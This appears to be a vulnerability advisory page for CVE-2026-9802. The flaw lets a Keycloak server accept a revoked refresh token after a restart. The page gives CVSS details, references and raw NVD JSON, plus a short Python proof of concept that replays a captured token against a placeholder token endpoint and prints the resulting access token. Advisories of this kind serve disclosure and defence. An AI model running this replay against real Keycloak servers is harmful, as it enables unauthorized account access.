CVE-2026-9802

Description

A flaw was found in Keycloak. When revokeRefreshToken=true is enabled and persistent session storage is in use, a server restart can reset internal timing mechanisms. This allows a remote attacker, who has previously captured a user's refresh token, to replay that token even after it has been revoked. Successful exploitation grants the attacker unauthorized access to the victim's account, potentially leading to information disclosure or privilege escalation.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-9802: Refresh Token Replay after Restart
# Target: Keycloak instance with revokeRefreshToken=true and persistent sessions

TARGET = "https://target-keycloak.com/realms/master/protocol/openid-connect/token"
CLIENT_ID = "security-admin-console"
# The captured refresh token that was revoked before the server restart
CAPTURED_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJ..."

def exploit():
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {
        "client_id": CLIENT_ID,
        "grant_type": "refresh_token",
        "refresh_token": CAPTURED_TOKEN
    }
    
    print("[+] Attempting to replay revoked token...")
    response = requests.post(TARGET, data=data, headers=headers)
    
    if response.status_code == 200:
        print("[+] Success! Server accepted the revoked token.")
        print("[+] Access Token:", response.json().get("access_token")[:50] + "...")
    else:
        print("[-] Failed. Server rejected the token.")
        print(response.text)

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9802
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9802
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9802/
[4] VulDB https://vuldb.com/cve/CVE-2026-9802
[5] https://access.redhat.com/security/cve/CVE-2026-9802
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2482467

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9802", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.620", "lastModified": "2026-05-28T06:16:29.620", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. When revokeRefreshToken=true is enabled and persistent session storage is in use, a server restart can reset internal timing mechanisms. This allows a remote attacker, who has previously captured a user's refresh token, to replay that token even after it has been revoked. Successful exploitation grants the attacker unauthorized access to the victim's account, potentially leading to information disclosure or privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9802", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482467", "source": "[email protected]"}]}}